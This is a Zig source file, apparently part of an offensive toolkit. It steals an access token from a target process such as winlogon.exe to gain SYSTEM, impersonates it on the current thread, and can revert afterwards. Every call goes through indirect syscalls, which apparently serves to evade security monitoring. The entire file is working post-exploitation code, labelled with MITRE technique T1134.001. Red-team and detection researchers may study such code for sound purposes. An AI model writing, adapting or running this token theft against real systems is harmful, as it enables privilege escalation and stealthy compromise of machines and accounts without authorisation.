// Token impersonation — steal token from target process, revert to self.
// All calls via indirect syscalls.
// Ref: https://ntdoc.m417z.com/ntopenprocesstoken, https://ntdoc.m417z.com/ntduplicatetoken
// MITRE: T1134.001 (Access Token Manipulation)
const std = @import("std");
const syscall = @import("syscall.zig");
const win = @import("win32.zig");

const ThreadImpersonationToken: u32 = 5; // phnt ntpsapi.h THREADINFOCLASS enum

// Steals the token from a target process and impersonates it on the current thread.
// pid: target process ID (e.g. winlogon.exe for SYSTEM).
pub fn stealToken(pid: u32) bool {
    var cid = std.mem.zeroes(win.CLIENT_ID);
    cid.UniqueProcess = @ptrFromInt(@as(usize, pid));
    var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
    oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);

    var proc_handle: win.HANDLE = undefined;
    if (!win.NT_SUCCESS(syscall.nt_open_process(&proc_handle, win.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid)))
        return false;
    defer _ = syscall.nt_close(proc_handle);

    var token_handle: win.HANDLE = undefined;
    if (!win.NT_SUCCESS(syscall.nt_open_process_token(proc_handle, win.TOKEN_DUPLICATE | win.TOKEN_QUERY | win.TOKEN_IMPERSONATE, &token_handle)))
        return false;
    defer _ = syscall.nt_close(token_handle);

    var dup_token: win.HANDLE = undefined;
    if (!win.NT_SUCCESS(syscall.nt_duplicate_token(token_handle, win.MAXIMUM_ALLOWED, null, 0, @intFromEnum(win.TOKEN_TYPE.TokenImpersonation), &dup_token)))
        return false;
    defer _ = syscall.nt_close(dup_token);

    return win.NT_SUCCESS(syscall.nt_set_information_thread(
        syscall.nt_current_thread(),
        ThreadImpersonationToken,
        @ptrCast(&dup_token), @sizeOf(win.HANDLE),
    ));
}

// Reverts to the process's primary token, stopping impersonation.
// nt_set_information_thread now accepts ?*const anyopaque — null + 0 → revert.
pub fn rev2self() bool {
    return win.NT_SUCCESS(syscall.nt_set_information_thread(
        syscall.nt_current_thread(),
        ThreadImpersonationToken,
        null, 0,
    ));
}